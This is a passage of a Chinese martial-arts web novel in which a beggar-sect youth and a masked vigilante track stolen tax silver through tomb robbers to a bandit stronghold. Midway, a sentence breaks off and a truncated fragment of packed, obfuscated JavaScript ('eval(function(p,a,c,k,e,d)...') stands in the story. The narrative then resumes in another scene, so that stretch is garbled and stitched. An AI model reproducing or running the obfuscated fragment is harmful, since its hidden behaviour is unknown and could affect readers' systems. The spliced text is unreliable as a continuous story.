“你们这些臭男人,怎么都要妾的命呢?妾不依。”她娇滴滴地说着,“如果你以为凭外面那些叫花子,就能威胁妾让步的话,那妾就更不依了。” 江潮生想了想,比了个八又比了个五,婀娜好奇地问:“这是……八万五千两银子?” “你现在过来搜我身上,能搜出八个半铜板算你赢。”江潮生笑着说,眼内却不含笑意,“不过是八处庄园,五条人脉,江州周围负责给万花楼供货的罢了,再远的地方我一时还没查清,等查清了就来给婀娜姑娘加价。” 婀娜神态自若地摇着扇子:“哦?是什么货?柴米油盐?胭脂水粉?绸缎布匹?” “当然是人。”江潮生仰头看着豪奢轩丽的房屋,轻笑着说,“收来的货,要分门别类,细心调教,各有用处,有的在青楼倚门揽客,有的在暗处赚人命钱,还有的潜伏到各大豪门权贵的府上做仆役收集情报,真是好大一张网啊!官府要是知道了,怕是不会放着不管。” 婀娜的扇子停了,尖声说:“你们丐帮何尝没有采生折割!?谁比谁无辜吗?” “是,天下乌鸦一般黑,可是婀娜姑娘,现在是我在威胁你啊。”江潮生一脸诚恳,“知道百花深处主人神通广大,但是你要想把纪知府,相捕头,喻捕头,段捕头,一起收买,怕是不容易罢?” 婀娜的脸绷紧了,良久她才开口:“六安县的银匠,叫董大千的,在当地青楼有个相好,几天没去过夜了,但托人捎了信来,说是有笔大营生,等做完了就回来给她赎身。” 江潮生收起笑容,凝神听完,深躬一礼:“多谢。” 说完他涎着脸伸出手:“我突然觉得价钱加多了,你把那幅画还我呗?” 婀娜震惊得脸都青了:“妾从未听说过给了酬劳还能要回去的!” “那我也从来没听说过有人能从叫花子手里拿东西的,不嫌丢脸么?” “滚蛋!” 小小风波过去,万花楼重又热闹起来,红灯高悬,远在一条街外都能看到。 而街尾的小酒坊深夜时分居然开着门,哑婆婆躬着身子,一勺勺地给小酒坛加酒,浑然不顾小院里还有其他人。 瞎老头扶着竹竿,仰着头,皱纹层叠的脸上失去眼球的眼窝越加深陷,他转向某个方向,好像在‘看’着什么。 “老爹,多谢你了。”江潮生紧束身上衣服,把小包袱背在身上,一副要出远门的样子,“你在十字街口拉了十五年胡琴,都算安享晚年了,我还要劳动你来酒坊见老相识卖人情,是我不孝,以后有机会,还请你吃老田家的财鱼包子。” 哑婆婆专心手里的活儿,一个字都没听见的样子。 江潮生走过去,对着她的背影施礼:“还要多谢五娘子,肯告诉我百花深处的秘密。” “这是我欠公道堂的。”哑婆婆首次开口,声音喑哑得犹如砂纸,“只是我改头换面这么多年,你是怎么发现的?” “我听师父和老爹都提起过,五娘子常熏百濯香,这种香气但凡沾身,一时半会消不了,故名百濯,若要隐藏必须用更大的味道来遮盖,幸亏我天生鼻子灵,就算是酒味再大,我也抓到了那么一点。” 江潮生说着,脑海里突然浮现起阿水巧笑嫣然的面容,她捏着小勺子,津津有味地吃着绉纱馄饨,摇晃着耳坠子对他说:“就他在后厨烟熏火燎的,什么香都白搭。” 当时的阿水,是无意提起,还是有意提醒自己? “十五年啦。”瞎老头缓缓地说,“该来的总会来,当年的事是该算一算了。” “说得对,五娘子,今夜一别,说不定此生都不会再见,能不能告诉我一句话,当年——是不是你?” 哑婆婆转身,张开手,让他看到自己老态虚弱的模样:“我在公道堂一直负责线索收集、事前布置、事后收尾,为了保护我,龙头大哥从来不让我参与动手,还有,你觉得我能暗算唐无双?” “那五娘子心中可有人选?” 哑婆婆皱眉摇头:“问得好,我也想了十五年,如果你非要我说……我怀疑是排行第六的斧子。” “斧子是谁?”江潮生紧追着问。 “不知道,我们彼此都不知道身份,只能猜个大概,他人高力大,用一柄巨斧,擅长骑马,一般外省需要公道堂出马的差事,都是他抢着干,加入公道堂的契机是当年西北塞外血云十八骑烧杀抢掠祸害,商队不能通行,几大商户悬了五千两的花红,他背着两口袋牛肉夹馕十斤烈酒来揭了榜,一人一马一斧追杀得血云十八骑四散溃逃,解了当地匪患,大哥曾和他并肩作战,很欣赏他这份胆气才出手招揽。但他凶悍嗜杀,行事不留余地,大哥说过他几次,说他……匪气十足。” 江潮生注意地听着,突然问了一句:“他的马,常换吗?” 哑婆婆突然愣住了,不确定地说:“好像……换过几匹,但都是顶尖好马。” “那附近就一定有大本营……”江潮生喃喃地说,眼看月上中天,他潇洒地一挥手:“各位,我上路了……呸呸呸,我今日就迈出这一步,去行侠仗义了!” 他纵身一跃,在屋顶上轻盈而去,眨眼消失得无影无踪,再不回头。 虎拦山失银案,很快就有了线索,连逢大雨,山下河水暴涨,突然冲来几具砍得面目全非的尸体,当地正属六安县管辖,不敢怠慢,赶紧组织人手捞尸,又向山中查探,最后找到了五十三具尸体,从衣物残片上判断,这就是那一队精兵。 人是找到了,但银子却下落不明,所有的证据都指向了八犬盟的镖师和趟子手们。 而叶景行却在六安县郊外破败的城隍庙里,见到了押送税银的总镖头万清华。 名字虽然秀气,但万清华实则是个红脸大汉,两道眉毛又粗又硬,如手中的朴刀一般杀气腾腾,若走在路上,光这股气势就可以压制沿途的盗匪宵小。 但此刻的他形容憔悴,胳膊上绑着白布,上下打量着叶景行,最终目光落到他手执的判仙笔上,哽咽着说:“我实在走投无路,只是想起江湖传说,若遭冤屈,有不平之事,可与城隍庙写一纸条压在神案上,自有公道堂的人来主持正义……我没想到竟然是真的。” 堂堂大汉,竟然落下泪来。 叶景行面具遮挡下,声音毫无情绪:“现在外面都传说你们八犬盟监守自盗,杀害了同行的官兵,拿着税银跑了。” “不是的!”万清华断然否认,“我暗中查看过那些尸体,那不是官兵,那是我八犬盟的兄弟!” 据他说,这一次押运起初并无异样,官兵们和他们一路行来,互帮互助,竟毫无隔阂,直到进了虎拦山…… “那一夜,大家生了火,煮了锅热汤吃干粮,带兵的王百户,说驿站单给官兵准备了肉干,拿出来放在汤里,结果那一碗汤就要了我兄弟们的命。” 万清华眼里至今闪着恐惧的光芒,他不明白,为何前一刻还是称兄道弟的官兵,下一刻突然抽出刀来向着身边手脚无力的镖师们砍去,还专门往面门上砍,或是斩断手臂,把残肢丢得到处都是。 “自然是不想让人看出本来面目,又用血腥气和残肢引来山中野兽。”叶景行冷静地分析。 万清华失落地摇着头:“我用真气逼出迷药,和几个负责警戒的镖师们杀出重围,那日大雨,我们在山中迷了路,等下山来,才发现我们已经成了替罪羊!他们竟然用我们兄弟的尸体冒充官兵,栽赃陷害八犬盟!” 他焦急地看向叶景行:“公道堂大哥,我从小就知道公道堂的威名,今年您在江州府出世,将赃王喻东升正法,又单人独斗铁杀寨土匪,您一定能帮我们洗清冤屈,我万清华及八犬盟上下几千兄弟,都感念您的大恩大德。” 说着他撩衣就要跪倒,却被叶景行虚劲托住,声音依旧淡漠,并无所动。 “据我所知,税银全部使用独轮车押运,银两沉重,所过之处皆有车辙痕迹,但相捕头已经亲自查实,所有的车辙印就停在你们宿营的那一处。” 叶景行抬眼看向万清华:“银子也好,人也好,甚至余下的一百多尸体也好,是怎么没的?” 万清华失魂落魄地摇头:“我不知道……我要是知道,早就去县衙投案了,这虎拦山硬生生地吃掉了我两百多兄弟。” 无论是谁干的,都是一群胆大包天的逆贼,将人命和朝廷律法视若无物。 “我会去查,你和你的人最好躲起来,别让官府发现,若有什么事,就继续来城隍庙留信。” 叶景行说完转身要走,万清华呆立当地,突然跪倒磕头:“我也知道此事牵连甚广,背后不知道有怎样遮天蔽日的势力,但我这几日送出去无数求救信,所有亲戚故旧侠义道朋友……均无回音,只有公道堂的大哥愿意出手。不管最后能不能查清,我替八犬盟死去的兄弟,在这里给你磕头了!” 他含着泪,重重地将额头叩在破碎的青砖上,再抬起头来的时候,叶景行已经消失不见。 “此案并不难查。”叶景行回到客栈,对香堇说,“无论是谁杀了谁,银子肯定还在虎拦山附近,作案之人,势必也和本地势力勾结方能运走银子,你去查方圆三百里之内所有匪寨。” 香堇敛袖称是,陶陶端茶上来,眨巴着大眼睛,求知地问:“公子,我听说没有发现银子转运的痕迹,是鬼神作祟呢。” 叶景行把桌上的六安县志合拢放到一边,嫌弃地说:“都是些愚夫愚妇,扰乱舆情,六安建县千年,虎拦山上发现过几十座古墓,怕是地下都挖空了,藏两百万两银子和一百多具尸体有什么难。” 他手指敲击了一下桌子,刚要叫高远,又想起高远已经回京到叶晟身边效力了,只能对陶陶说:“你出去对香堇说一声,县内的银匠也要查。” 他冷笑一声:“不管是谁,劫了官银肯定是要再融的。” 叶景行想到的,其他人也能想到,但奇怪的是一夜之间,六安县里的银匠不但尽数消失无踪,就连在县衙留有案底的盗墓贼们也都不见人影。 此案拖到如今,除了五十三具尸体,别无收获,相捕头坐镇县衙,也只得加派人手四面搜查,并调来江州仵作,再度验尸。 老仵作验完尸,老泪纵横,觉得自己近天命之年,难道要过一道生死关么? 思来想去,他还是对相不凡说了实话:“相捕头,这些尸体……不像是军户。” 相不凡拿着尸格,上面却空无一字,他盯着老仵作问:“何出此言?” 老仵作也豁出去了,压低声音说:“朝廷的制式兵器都是统一发放,刀枪也好,弓箭也罢,都是一样的尺寸,手上磨出的老茧位置也大差不差,而江湖人士纵然是师出同门,兵器也都爱自己打造方能趁手,故而痕迹各有不一,这五十三个人,手掌上的老茧位置就有二十多种。” 他退后一步,恭敬作揖:“此事我是断然不敢落在纸上的,这其中……所图非小啊。” 相不凡当然明白他的话,如果是八犬盟的镖师夺银杀人,事情并不算太严重,最多就是朝廷震怒,将八犬盟连根拔起打散罢了,听说京城福威镖局的总镖头已经在刑部大牢里蹲着了。 但如果并不是……杀人冒名,带着两百万两税银消失的那一标精兵,到底属于谁的势力,这笔银子又将用在何处? 相不凡当捕快多年,也做过几起劫掠偷盗官银的案子,无一例外都是先将银子深深埋藏,几年后慢慢拿出来熔炼化用。但联系到六安县银匠失踪一事,这群人竟然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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所谓地老鼠,就是盗墓贼,当叶景行跟随江潮生来到虎拦山脚下密林的时候,看到一个瘦小枯干的中年男子被捆得跟粽子一样,吊在树上,风一吹,他也随之摆动,看到人来了,呜呜地哼哼。 江潮生拽下男人,把他嘴里的麻核桃拿走,男子喘过一口气来,哭嚎着:“你们丐帮和我们掘子门也是兄弟势力!好你个小江哥,你拿着把头们的情谊骗我出来,原来是要劫财啊!” “狗屁!你刚从赌坊出来,身上有一个铜板,我跟你姓。”江潮生蛮横地扇了他一耳光,“冯二保,你给我听好,我问什么,你说什么,敢说一个字的谎,你就在这吊到老虎来吧。” 叫冯二保的男子眼珠咕噜乱转,低声说:“那你先放我下来,大家好说。” “当我不知道你们地老鼠的本事,脚一沾泥,我还抓得住你呢?就这么说!”江潮生说着推了他一把,冯二保在空中荡起了秋千,转得七晕八素,差点吐了。 “行行行,祖宗,你问吧。” “本地掘子门的头是谁?县里大小地老鼠一个不见,是发现什么大油斗要合伙行事?”江潮生无赖地摊开手,“见者有份,不给我吃红,这事完不了!” 冯二保吐了两口酸水,哭丧着脸说:“头目叫周全,我也不知道他去哪儿了,自从八月初五之后就没见过他,至于什么油斗,你看我现在闲得没事干就知道了,哪里有我的份。” “八月初五那天,你和周全在哪里见的?嗯?”江潮生抽陀螺一样抽打着冯二保,弄得他天旋地转,呕吐得胆汁都出来了,半晌才有力气求饶:“周全八月初五那天办酒,召集掘子门兄弟去办一件大事,但那天我欠债被赌坊打瘸了一条腿,他瞧不上,连酒都没让喝就让我滚蛋,我是真不知道他们干什么去了!” “骗谁呢!你这种输急了眼的,没跟在后头打算捡漏?” “祖宗!爷爷啊!我腿瘸了的啊!怎么爬山。” 江潮生做恍然大悟状:“哦……原来是在山上啊!你这不是知道吗!?你腿瘸了,眼也瘸了?耳朵也瘸了?你当我不知道你们地老鼠的德行?他们下墓前担心主家下黑手没给你漏口风?赶紧说他们下哪个墓了,不然我把你吊在这里喂老虎!” 冯二保指天誓地,任凭江潮生怎么放狠话,就是不肯说。 叶景行缓步走上前来,冯二保被吊着,眼冒金星,陡然看到一个头戴面具的黑衣人鬼魅一般无声无息向自己走来,差点翻了白眼,以为见鬼了。 “你说,这种人怕什么呢?”叶景行端详着他,有意问江潮生。 江潮生不以为然:“怕死呗。” “那可未必。”叶景行盯着冯二保左手缺失的两根指节,冷笑着说,“你说,要是从今之后,你逢赌必输,是不是比死了还难受?” 一提赌,冯二保精神了,昂着头不服气地说:“胡扯!我这几天运气不知道多好,昨天赢了三十几两,就今天一开始还是通吃的!天底下哪有逢赌必输的事,我就不信我这么倒霉!” 叶景行侧头,冷冰冰地对江潮生说:“我出赏银,你传话下去,凡六安县,乃至江州,乃至三省地界,所有千门中人……你叫冯二保是吧?我要你此生此世,只要上了赌桌就再也赢不了一局。” “好!”江潮生捧场地鼓掌,“你要实在憋不住,蹲街头跟老太太玩花牌得了,哎呀,也不行,我听说千门里越是老太太越难惹哩!” 两人一唱一和,冯二保吓坏了,疯狂地扭动身体挣扎:“呸!你说话顶屁用!你有钱不如直接给我啊!,价钱合适,我也可以开口告诉你的,三五千两的随便给点都行。” 江潮生啪啪又是两巴掌:“睁大眼睛看清楚,这位就是公道堂大哥!公道堂,听说过没有!?当年千门一群小辈不知死活,在扬州六宝赌局出阴招赢了长江连环寨的总寨主,差点被剁手挖眼,还是公道堂龙头大哥去救的人,你当千门中人都是禽兽,不知道感恩的么?” “真……真的啊?”冯二保颤声问,虽然密林深处不见星光,但叶景行手中的判仙笔金芒明灭,由不得他不信。 江潮生贴近,语重心长地劝说:“要不就干脆戒了吧?对你也好。” “不行!那不行!”冯二保挣扎得更激烈了:“大侠!老大!我告诉你们,不要三五千,你们给我五十两银子就成,我明天还能去翻本!” “哎呀!腆着脸从叫花子手里要银子,你还是头一份!”江潮生唾骂着,侧头征询叶景行的意见,看到他点了头,才从兜里掏出一把碎银子,恶狠狠地塞进他怀里,“喏,这是定金,带路!” 八月底的天气,山林幽深,一阵阵阴风带着腐烂的草木泥土味道刮来,让人身上寒凉,心中更是发凉。 冯二保被一根牛皮索捆着,两端分别抓在叶景行和江潮生手中,两人同时纵身飞掠,把他像个秋千一样地在下面荡来荡去。 “地老鼠都是心狠手辣之辈,发的死人财,连断子绝孙都不在乎的,可不能轻敌。”江潮生对叶景行解释。 叶景行却在想别的,趁中间停下来休息的时候,他低声问:“关于千门受过我爹恩惠的事,是你编的还是?” “当然是真的啊!”江潮生吃惊地看着他,“你不知道吗?” 不知为何,叶景行觉得有些愧疚,他低声说:“在家的时候,爹怕我心野,身弱又扛不住,外面的事只是偶尔提起,后来到了义父跟前,公道堂又是个忌讳,没人敢说。” “不要紧!我以后慢慢说给你听。”江潮生笑得露出了大牙,“我从十岁起就离开江州,去各地游历,每一个有公道堂传说的地方我都去过,打听得可详细了。” 他笑得无忧无虑,仿佛十岁就靠乞讨走遍大江南北是一件很寻常的事。 叶景行心里那种向上拱的酸涩感觉又出现了,他垂下眼睛轻声感慨:“小江,你也辛苦了。” “也没有,俗话不是说嘛,要饭三年,给个官都不换,我一路走过来,也学到不少东西。” 此刻他们已经深入了虎拦山,山岭层叠连绵,偶有野鸟飞过,头顶灿烂星空,半人高的杂草随风摇曳,透着一股难得的静谧。 “那个……”江潮生犹豫再三,还是决定提醒一声:“我在陕甘一带,倒是听过公道堂做的一件好事,某个流民窝棚因为挖出了狗头金,被当地帮派买凶灭门,意图霸占金矿,结果公道堂赶到,反将杀手屠戮殆尽,救下了大半流民。” 叶景行透过面具静静地看着他,不明白他突然提起这一段是什么意思。 “我打听了很久,也没有这个流民窝棚后来的下落,但是那里的确有一处金矿,由……由朝廷监管。” 是流民自己占据,或者当地帮派再派人来侵占,都属正常,但若是由朝廷接手……那些流民哪里去了?朝廷又是怎么知道的消息? “你的意思是,公道堂里有人和朝廷勾结?那个人就是杀我爹的凶手?”叶景行一点就透,眼睛陡然亮了起来,“我听说,公道堂里的确有一人,凶蛮嗜杀,只是不知道——” 江潮生摇摇头,声音轻得几乎飘散在风中:“去的人,江湖诨名公子,会不会就是你义父?” “不可能!”叶景行一口否定,“我义父为人温和,绝非凶残之人,而且……” 他的神色突然变得有些奇怪,声音也压得很低:“我义父……有些爱财,若是真有这么一处金矿,他断然不会上交朝廷,肯定是自己私下开采。” “不会吧?叶玟杰不是说你家就两口人吗?要那么多钱作甚?”江潮生忽然想起叶景行在金满堂出场时的豪奢讲究,又觉得可以理解了。 “培养人手,日常训练,死伤抚恤,都是开支。”叶景行说到这里,脑海里突然有什么东西一划而过,他还没来及思索,就看见江潮生跳起来一记飞脚踹向不远处偷偷摸摸挖洞的冯二保:“地老鼠!想跑!?” “没有没有!”冯二保赶紧求饶,“我是挖个洞看一下土质……” 看着他脚下一个仅有海碗大但已经深入三尺的小洞,叶景行也惊叹了起来:“你们就从这样的洞里下去?” “嗨,这都不叫事!”冯二保得意起来,“我下去之后还可以迅速还原地面,你在上面走来走去都发现不了下面有个洞。” 叶景行了然地点点头:“周全就是这样偷税银的吧?” 冯二保像是被噎住了一样,狠命抽了自己两巴掌,又辩解:“我可什么都不知道啊!” “少废话!”江潮生拎着牛皮索把他拽回来,“快点走!” 两人用足轻功,带着冯二保飞奔半夜,直到天空透出亮色,才在一座山腰处停了下来。 经过冯二保各方查证,决定从这里挖个侧洞扎过去直达墓室,江潮生怕他逃脱,再度用牛皮索在他躯干上捆成了麻花,只留手脚可以自由行动,一头绑在了自己腰上。 “丐帮的兄弟行事也忒狠了!”冯二保欲哭无泪,只得把利爪套在手上,往地面一扎,几乎是立刻,一个斜着的洞就在他手下飞快成型,他手脚并用,几息工夫,人已经窜进洞中。 看着泥土从洞中飞快堆出,江潮生探身试了试,回身对叶景行笑了笑:“老鼠洞可不好钻,你在外面等着,我进去。” 叶景行衣襟一动,已经擦着他的肩抢先钻入洞中:“啰嗦!” 上午时分,六安县依旧沉浸在紧张的气氛中,喻枫从县衙出来,去城门口看有无搜索队伍回来,却在路过街口时,被人举着破碗拦住,高声讨要:“官差老爷,行行好吧!” 对方明明年轻力壮四肢健全,她板起脸来刚要拒绝,江潮生拨开面上乱发,露出沾着泥土的脸,对她眨眨眼。 喻枫恍然大悟,竖起眉毛痛骂:“有手有脚不去干活,在这里要饭!还要到大街要道上来,有损市容!还不给我滚开!” 她扬起刀鞘作势抽打,江潮生转头就跑,待绕过巷角,看四下无人,两人才停住,喻枫劈头就问:“小泥鳅!你没事别乱跑,六安县现在内外警戒,狗来了都得查户籍,你……” “我是跟着大侠来的。”江潮生得意地说。 果然,喻枫眼睛一亮,多少高看了他一眼:“你如今也知道近朱者赤的道理了,不错!那大侠是有什么事找我?” 江潮生从怀中掏出一张皱巴巴的地图指给她看,飞快地叙述:“镖局是冤枉的!税银和趟子手的尸体都找到了,被人藏在古墓里,古墓的顶端正好是他们扎营的地方,一群掘子门的地老鼠干的,但背后另有其人,税银已经运走了大半,约莫还有人来运,大侠在那里守着,你赶紧带人进山!” “大侠果然是大侠!”喻枫叹服,赶紧收好地图,叮嘱他,“我这就去禀报相捕头。你既没有显露踪迹,就老实待着要饭,不要乱跑,别被盗匪知道是你送信,抓去砍了才好!” 恐吓完江潮生,喻枫兴冲冲地转身要走,还没走出两步,就听到街上一阵喧哗,声音越来越大,伴随着杂乱的脚步声。 有人吆喝着:“公道堂已经抓到了监守自盗的匪人!” 更有人点着名字高喊:“八犬盟万清华及其党羽已经被判仙笔处决!悬尸城隍庙!都去看认罪书去啊!” “果然还得是公道堂啊!这么快就找出了罪魁祸首!” 人流涌动,压在县城百姓心上大半月的阴影消散,陡然云开月明见青天,人们纷纷松了一口气,从家门走出来,穿过大街小巷,情绪激动地要去看被正法的狂徒逆贼。 而江潮生呆呆地站在原地,身体被人撞了也没注意,一张脸煞白。 喻枫也维持着刚才的姿势,疑惑地看着他。 万清华……怎么就成了罪魁祸首? “不是的,不是的!”江潮生陡然惊跳起来,向前抓住喻枫,急得语无伦次,“我亲眼看见的,古墓里那些尸体是趟子手和镖师,不是官兵!万清华是冤枉的!” 他两耳轰鸣,反复地回响着那句“已经被判仙笔处决。”。 若是他对叶景行没有十足的信任,几乎以为是叶景行骗了自己,待两人分开,抢先一步回来杀了万清华等人。 江潮生颤抖着看向自己的手,这世界上,除了他和叶景行,竟然又出现了第三个公道堂,叶景行在霹雳弹爆炸现场丢失的判仙笔,竟然被人捡到,还拿出来冒名顶替! 此刻叶景行还在山中,只有自己去查明真相,还公道堂一个清白。 江潮生转身要走,却被喻枫拉住,她脸色同样煞白,嘴唇嗫嚅着,低不可闻地说:“走,快走!” “我不能走……” 江潮生还没说完,喻枫就急了,怒斥:“你以为你是谁?跟大侠混了几天,就以为自己也是大侠,要跳出来行侠仗义了?案子再大冤情再重,自有我们当捕快的去查,有你这条小泥鳅什么事?!没有英雄的本事,得了英雄的病!” 她用力把江潮生往后一推,恶狠狠地威胁:“朝堂特派的钦差和六扇门大人们马上就到,届时六安县的蚂蚁洞都得给翻一遍,你个来路不明的叫花子经得起查吗?还不快走!” 江潮生被她推得倒退了几步,愣愣地看着她,突然摇摇头,低声说:“小泥鳅……也可以翻江倒海的。” 没等喻枫反应过来,他一转身,灵活地溜进小巷,转眼不见踪影。 六扇门的副总捕头率人午后到达,命人将万清华等七具尸体收押验尸,对喻枫交上去的地图却嗤之以鼻,说是‘扰乱破案的小把戏、’ 经过相捕头拉下脸面再三恳求,终于在次日派他带一队人马进了山。 相捕头轻装简从,经过二日一夜的急行军,到的时候已经晚了,那座被盗洞打得千疮百孔的古墓里,只留下堆叠如山的尸体,一个活人都没有。 尸体被拖出来就地验尸,从衣着到随身配饰,确是八犬盟的趟子手和镖师们无疑,还有十几具形色各异的,大约是协同作案的盗墓贼。 墓室里连小轮车的数目都查实无缺,但两百万税银仍然下落不明。 而副总捕头不愧是来自京城三法司的大人,慧眼如炬,很快就做出判断:“这案子再简单不过!就是万清华等人见财起意,勾结六安县盗墓贼在宿营的时候突然发难,官兵奋起反击,虽然尽数战死,但也搏杀大半镖师和趟子手,万清华将尸体藏匿于古墓,派人运走了税银,自己带心腹来六安县探听风声,没想到公道堂见义勇为,将其正法,悬尸示众。” 相捕头木着脸不吭声,但六安县的捕快已经纷纷敬服:“不愧是京里的大人!所说合情合理!马上就能结案了。” “大人!”喻枫忍不住,踏前一步:“既然万清华能在认罪书上签字画押,怎么不干脆写明出税银下落呢?” 大家为税银丢失案而来,如今银子还是不见,和没破案有何区别? 副总捕头用不悦的目光看着喻枫,沉声问:“相不凡,你如今行事是越发懒散了,如此大案,带个女捕快来?!” 相捕头对喻枫使了个安慰的眼色,嘴上却说:“你懂什么,还不下去!” 副总捕头当然听出他话里有话,将手一摆:“倒也无妨,年轻人不懂事,就该教她个明白。小丫头,我这辈子看过的顽匪多了,要银子不要命的比比皆是。若万清华知道自己家眷可以拿着几辈子花不完的银子过下半生,你猜,他肯不肯说?又或者,他贪生怕死,的确说出来了,但公道堂是什么人哪?未经朝廷审判而杀人,同样是江湖匪类!有银子他当然是自己拿走了,怎么会写在认罪书上呢?” 他不等喻枫再说话,又将手重重一挥:“如今真凶已经伏法,剩下的就是寻找税银下落,虎拦山地势险峻运输不易,只怕是换了个古墓藏匿,从今日起,严加封锁,慢慢搜查,自有找到的一天!” 11. 第十章 原来是你 副总捕头没想到,此刻的税银已经到了三百里之外。 叶景行藏身在树丛内,凝目远视,山中竟然有一座石块堆垒外墙的寨子! 他从虎拦山古墓开始一直跟踪的骡马队驮着沉重的银鞘,井然有序地进入了山寨,沉重的大门吊起,杜绝了来往之路。 寨子后方有一处浓烟肆无忌惮地升起,在深山中十分明显,叶景行从白天观察到深夜,这股浓烟始终存在。 便是给一万人做饭的炊烟也不用这么长久,想来就是熔炼官银的地方了。 叶景行抬头看着逐渐升起的月亮,想着此刻江潮生应该已经发现自己不在古墓里了,他一定会着急,会跳脚,埋怨怎么不给他留个信,撇下兄弟,没义气。 想着,想着,叶景行都不知道自己脸上露出了笑容。 一只夜枭怪叫着飞过,山寨的围墙上有人起身举着火把查看,却并不在意,草草虚晃了两下就又躲回小屋去了。 而叶景行在他这一起一坐之间,已经伏在了围墙之上。 刚才有围墙挡着,此刻再往里看去,叶景行暗自心惊,这里原来应该是一座口小肚大的口袋型山谷,山寨后方黑压压一片,规模甚大,迎风有马粪味飘来。 有人,有马,有易守难攻的山寨大本营,还有胆子敢出手劫掠税银,这样一个心腹大患竟然就在江州附近! 叶景行暂时不去想这些,他纵身而起,向着滚滚浓烟的所在掠去。 这是一处三间小屋,屋外堆满了木柴煤炭甚至还有破烂家具,十几个小土匪来往忙个不停。 那朝廷统一制式的银鞘子就这么随意地堆放在一角,由人拿斧子劈开,将其中五十两一锭的大元宝取出,外面的木鞘就丢入柴火堆,上面官府的封印在这里还不如一张破纸。 叶景行没惊动他们,转到后窗,屋内好几个炉子,风箱轰隆作响,热浪腾空,银汁从锅里倒入模具中,几下功夫,便从官银变成了毫无印记,可以上街随便花用的普通银锭。 有专人拿着钎子在其中忙碌,查看火候,调配成色,衣着打扮和土匪不同,想必就是六安县失踪的银匠们。 叶景行正在观察,听到有人唉声叹气:“怎么又催!现在越发连睡觉的时间都没有了。” “早做完早拿钱不是?”小土匪嬉皮笑脸地说,只是那话里怎么听怎么一股幸灾乐祸的恶意,“拿了钱,就可以早点上路回家了。” 说完哄堂大笑,那几个银匠似乎也感知不妙,气得浑身颤抖却不敢吭声。 叶景行贴近窗户,真气灌注隔空一指,一个正在翻着泡泡的熔钵突然歪斜,里面沸腾的银汁哗哗地流入了火中,引发一阵骚乱。 趁着小土匪们大呼小叫地去处理,叶景行弹指轻叩,引起了窗边一个银匠的注意。 银匠大约也知道自己在山寨已经是死路一条,只等银子全数熔炼完就要上路,此时深更半夜看到一个戴着面具的黑衣人突然出现,非但不慌,甚至还露出一丝惊喜。 “谁是董大千?”叶景行低声问。 银匠点头如捣蒜:“我就是!是我啊!” “你相好的金花姑娘托人给你带句话,她要赎身去南方了,让你不要记挂她,好好过活罢。” 董大千一听,眼泪都要飙出来了:“大侠休要说笑!你看如今我这是能活得了的吗?” 他一抹袖子,看小土匪还没注意到这边,痛下决心:“不用多说,我知道你的来意。不管你是官府的捕头还是江湖侠士,只要救我出去,我愿意作证,就是这帮人偷了朝廷的银子!” 激愤之下,他声音略微大了点,有个小土匪一回头,正好看见窗户里露出的面具,失声惊叫了起来:“什么人!?” 叶景行当机立断,衣袖灌注真气,一卷一击破窗而入,探手抓住董大千的肩膀将他拽了出来,纵身直扑围墙。 背后传来尖利的哨声,顿时整个山寨活了过来!不论腹地还是入口,无数火把纷纷亮起,到处都有口哨回应,人影憧憧,从四面八方包抄而来。 董大千被叶景行拎着,吓得差点尿裤子:“大侠……你的帮手呢?” “我一人足矣。”叶景行看迎面有一群土匪凶神恶煞地挥舞着兵器赶来,单手抓着董大千不放,右手一挥,判仙笔飞旋而出,带着无数金芒闪动,锋锐杀气铺面而出,正是雨花笔法第九式:“倒倾鲛室泻琼瑰!” 这一招,几有倾覆天地之威,那一群土匪连叶景行的衣角都没摸到就被重击,头面流血,手脚上穿透无数血洞,扑倒在地,惨嚎不已。 叶景行的面具在火把映照之下,更显可怖,而面具下的脸更是毫不动容,周围那些血火厮杀对他而言似乎只是晨起闲适,去被擦得雪亮的小院子里散一散步。 四面八方袭杀堵截的土匪,都无法阻止叶景行的步伐,转眼之间他已经看到了高耸的围墙,只要提气纵身,越过石头墙,往山中密林一冲…… 就在此时,背后炙热杀机顿现,劲风袭来,直冲着半空中被他拎着的董大千!眼看就要将他一劈两段! 叶景行身形陡停,险之又险地避开了这一击,但向前冲的势头也被阻挡,一群土匪叫喊着,挥舞着火把堵在了他和围墙之间,让他无所遁形。 “好小子!敢来闯我的铁杀寨!”声若洪钟,一个肩披虎皮的大汉踏步而出,手里一柄巨斧挥动,风声阵阵,络腮胡子遮住大半张脸,只露出一双凶悍的眼睛,杀气毕露。 叶景行站在四面火把的光中,手里拎着的董大千已经抖如筛糠说不出话来,他却不慌乱,反而饶有兴趣地说了一句:“哦,这就是铁杀寨啊?” 巨斧大汉冷笑着说:“既然知道,就乖乖受死!” “今年三月,江州城齐大户的灭门案就是你们做的。”叶景行点了点头,“勾结金满堂的喻东升销赃,公道堂只秉公处决了喻东升,一时没找你们算账……” 他摊开手掌,明月诀全力催动,判仙笔盘旋而去,在空中划过一道带着星点金芒的残影,犹如一道罡风向着四面八方横扫过去:“就在今天一并了结!无边丝雨细如愁!” 无形真气凝聚成细针,犹如牛毛小雨,乍看无足轻重,但渗如身体的一瞬间,杀机顿现,钻入血肉,透骨而出! 落笔如雨,血溅成花。 巨斧大汉的瞳孔猛然一缩,像是想到了什么恐惧的往事,眼看着周围的土匪哀嚎倒地,他猛一跺脚,扬斧而上,有力劈华山之势,直冲叶景行而来。 在董大千的嗥叫声中,叶景行左手拎起他兜头迎上,看起来简直像是把他对着劈来的斧子迎头对上,就在巨斧大汉也以为如此的时候,眼前一花,董大千的身躯借力被远远抛向围墙,而判仙笔的笔尖险之又险地抵在了巨斧的刃上,最薄弱的一处。 若不是他的斧头也是千锤百炼的神兵利器,这一下就会四分五裂! 叶景行也不恋战,挡住巨斧一击之后,身形随后纵起,朝着被扔出的董大千急速追去。 两道人影一前一后,眼看就要跨越高墙,突入密林之际,摇曳的火光中,石头墙上突兀地出现了两个人。 前面的男人面如冠玉,不辨年纪,穿着一件朴素的灰衣长衫,望着墙下微微皱眉,身后跟着个粉红长裙的姑娘,低眉敛袖而站,两人看起来和铁杀寨格格不入,也不知道从何而来。 电石火光之间,灰衣人一抬手,精准地将空中的董大千当头拦住,往身后粉裙少女的脚下一扔,神色淡然,负手而立。 小土匪们惊觉不对,挥舞着兵器呐喊着就要冲上围墙阻拦,以为是叶景行的同伙。 而叶景行却瞪大双眼,手中连挥,笔锋化作无数寒光,向着少女袭来,同时厉喝一声:“义父小心!” 